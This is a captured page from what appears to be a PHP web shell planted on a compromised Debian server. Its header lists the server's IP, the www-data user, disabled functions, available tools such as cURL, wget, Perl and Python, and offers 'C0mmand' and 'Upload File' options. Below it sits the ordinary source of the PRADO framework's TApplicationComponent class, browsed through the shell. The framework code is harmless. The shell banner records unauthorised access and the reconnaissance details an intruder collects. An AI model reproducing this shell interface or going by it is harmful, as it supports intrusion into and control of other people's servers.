|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/assets/../framework/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TApplicationComponent class
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @link http://www.pradosoft.com/
* @copyright Copyright © 2005-2014 PradoSoft
* @license http://www.pradosoft.com/license/
* @package System
*/
/**
* TApplicationComponent class
*
* TApplicationComponent is the base class for all components that are
* application-related, such as controls, modules, services, etc.
*
* TApplicationComponent mainly defines a few properties that are shortcuts
* to some commonly used methods. The {@link getApplication Application}
* property gives the application instance that this component belongs to;
* {@link getService Service} gives the current running service;
* {@link getRequest Request}, {@link getResponse Response} and {@link getSession Session}
* return the request and response modules, respectively;
* And {@link getUser User} gives the current user instance.
*
* Besides, TApplicationComponent defines two shortcut methods for
* publishing private files: {@link publishAsset} and {@link publishFilePath}.
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @package System
* @since 3.0
*/
class TApplicationComponent extends TComponent
{
/**
* @return TApplication current application instance
*/
public function getApplication()
{
return Prado::getApplication();
}
/**
* @return IService the current service
*/
public function getService()
{
return Prado::getApplication()->getService();
}
/**
* @return THttpRequest the current user request
*/
public function getRequest()
{
return Prado::getApplication()->getRequest();
}
/**
* @return THttpResponse the response
*/
public function getResponse()
{
return Prado::getApplication()->getResponse();
}
/**
* @return THttpSession user session
*/
public function getSession()
{
return Prado::getApplication()->getSession();
}
/**
* @return IUser information about the current user
*/
public function getUser()
{
return Prado::getApplication()->getUser();
}
/**
* Publishes a private asset and gets its URL.
* This method will publish a private asset (file or directory)
* and gets the URL to the asset. Note, if the asset refers to
* a directory, all contents under that directory will be published.
* Also note, it is recommended that you supply a class name as the second
* parameter to the method (e.g. publishAsset($assetPath,__CLASS__) ).
* By doing so, you avoid the issue that child classes may not work properly
* because the asset path will be relative to the directory containing the child class file.
*
* @param string path of the asset that is relative to the directory containing the specified class file.
* @param string name of the class whose containing directory will be prepend to the asset path. If null, it means get_class($this).
* @return string URL to the asset path.
*/
public function publishAsset($assetPath,$className=null)
{
if($className===null)
$className=get_class($this);
$class=new ReflectionClass($className);
$fullPath=dirname($class->getFileName()).DIRECTORY_SEPARATOR.$assetPath;
return $this->publishFilePath($fullPath);
}
/**
* Publishes a file or directory and returns its URL.
* @param string absolute path of the file or directory to be published
* @return string URL to the published file or directory
*/
public function publishFilePath($fullPath, $checkTimestamp=false)
{
return Prado::getApplication()->getAssetManager()->publishFilePath($fullPath, $checkTimestamp);
}
}